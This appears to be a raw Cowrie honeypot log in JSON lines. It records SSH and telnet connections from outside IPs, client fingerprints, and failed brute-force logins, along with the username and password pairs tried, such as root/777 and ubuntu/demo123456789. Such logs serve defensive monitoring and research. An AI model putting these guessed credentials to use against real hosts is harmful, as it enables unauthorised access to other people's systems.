{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:38:47.774923Z","src_ip":"103.15.226.202","session":"16305beb76e9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"localhost","password":"Jay56","message":"login attempt [localhost/Jay56] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:38:48.541323Z","src_ip":"103.15.226.202","session":"16305beb76e9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:38:49.799285Z","src_ip":"103.15.226.202","session":"16305beb76e9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.84.236.222","src_port":33458,"dst_ip":"10.17.0.5","dst_port":22,"session":"1bff87b9735e","protocol":"ssh","message":"New connection: 103.84.236.222:33458 (10.17.0.5:22) [session: 1bff87b9735e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:38:57.395272Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:38:57.402708Z","src_ip":"103.84.236.222","session":"1bff87b9735e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:38:57.636743Z","src_ip":"103.84.236.222","session":"1bff87b9735e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cc","message":"login attempt [root/cc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:38:58.603887Z","src_ip":"103.84.236.222","session":"1bff87b9735e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:38:59.842163Z","src_ip":"103.84.236.222","session":"1bff87b9735e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.11215257644653,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:39:10.250585Z","src_ip":"129.232.238.42","session":"11dc45800385","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.462329864501953,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:39:14.157651Z","src_ip":"8.219.57.208","session":"ca8c2fe3d468","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"202.145.0.61","src_port":59906,"dst_ip":"10.17.0.5","dst_port":22,"session":"b839c6b06d7e","protocol":"ssh","message":"New connection: 202.145.0.61:59906 (10.17.0.5:22) [session: b839c6b06d7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:39:15.901177Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:39:15.912070Z","src_ip":"202.145.0.61","session":"b839c6b06d7e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:39:16.153661Z","src_ip":"202.145.0.61","session":"b839c6b06d7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"demo123456789","message":"login attempt [ubuntu/demo123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:39:17.153703Z","src_ip":"202.145.0.61","session":"b839c6b06d7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:39:18.399735Z","src_ip":"202.145.0.61","session":"b839c6b06d7e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":58.31502914428711,"message":"Connection lost after 58 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:39:18.660547Z","src_ip":"129.232.238.42","session":"dcb5d7614d21","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"129.232.238.42","src_port":57744,"dst_ip":"159.203.135.109","dst_port":23,"session":"1836c72f46c7","protocol":"telnet","message":"New connection: 129.232.238.42:57744 (159.203.135.109:23) [session: 1836c72f46c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:39:32.573406Z"}
{"eventid":"cowrie.session.closed","duration":5.672395944595337,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:39:38.245710Z","src_ip":"129.232.238.42","session":"1836c72f46c7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.84.236.222","src_port":49962,"dst_ip":"10.17.0.5","dst_port":22,"session":"38a08dd81d03","protocol":"ssh","message":"New connection: 103.84.236.222:49962 (10.17.0.5:22) [session: 38a08dd81d03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:39:51.730700Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:39:51.735037Z","src_ip":"103.84.236.222","session":"38a08dd81d03","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:39:51.969079Z","src_ip":"103.84.236.222","session":"38a08dd81d03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"80.94.92.171","src_port":42266,"dst_ip":"159.203.135.109","dst_port":22,"session":"096160a20a7c","protocol":"ssh","message":"New connection: 80.94.92.171:42266 (159.203.135.109:22) [session: 096160a20a7c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:39:52.560128Z"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:39:52.670084Z","src_ip":"80.94.92.171","session":"096160a20a7c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"777","message":"login attempt [root/777] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:39:52.940715Z","src_ip":"103.84.236.222","session":"38a08dd81d03","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:39:54.179685Z","src_ip":"103.84.236.222","session":"38a08dd81d03","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.106.44.172","src_port":35884,"dst_ip":"10.17.0.5","dst_port":22,"session":"2fddcd63ec68","protocol":"ssh","message":"New connection: 87.106.44.172:35884 (10.17.0.5:22) [session: 2fddcd63ec68]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:40:03.387307Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:40:03.392912Z","src_ip":"87.106.44.172","session":"2fddcd63ec68","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:40:03.487461Z","src_ip":"87.106.44.172","session":"2fddcd63ec68","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"qwerty1234","message":"login attempt [user/qwerty1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:40:03.968007Z","src_ip":"87.106.44.172","session":"2fddcd63ec68","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:40:05.056630Z","src_ip":"87.106.44.172","session":"2fddcd63ec68","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.145.0.61","src_port":48110,"dst_ip":"10.17.0.5","dst_port":22,"session":"d964825ab339","protocol":"ssh","message":"New connection: 202.145.0.61:48110 (10.17.0.5:22) [session: d964825ab339]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:40:11.897112Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:40:11.902975Z","src_ip":"202.145.0.61","session":"d964825ab339","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:40:12.147647Z","src_ip":"202.145.0.61","session":"d964825ab339","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user0","password":"test","message":"login attempt [user0/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:40:13.135044Z","src_ip":"202.145.0.61","session":"d964825ab339","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:40:14.377902Z","src_ip":"202.145.0.61","session":"d964825ab339","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.100","src_port":57964,"dst_ip":"159.203.135.109","dst_port":22,"session":"c85deb170ce2","protocol":"ssh","message":"New connection: 193.24.211.100:57964 (159.203.135.109:22) [session: c85deb170ce2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:40:22.051588Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:40:22.056351Z","src_ip":"193.24.211.100","session":"c85deb170ce2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:40:22.166284Z","src_ip":"193.24.211.100","session":"c85deb170ce2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"okxr123","message":"login attempt [root/okxr123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:40:22.587736Z","src_ip":"193.24.211.100","session":"c85deb170ce2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:40:23.941741Z","src_ip":"193.24.211.100","session":"c85deb170ce2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.84.236.222","src_port":38224,"dst_ip":"10.17.0.5","dst_port":22,"session":"8be889d47c87","protocol":"ssh","message":"New connection: 103.84.236.222:38224 (10.17.0.5:22) [session: 8be889d47c87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:40:48.198144Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:40:48.202960Z","src_ip":"103.84.236.222","session":"8be889d47c87","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T20:40:48.438536Z","src_ip":"103.84.236.222","session":"8be889d47c87","protocol":"ssh"}
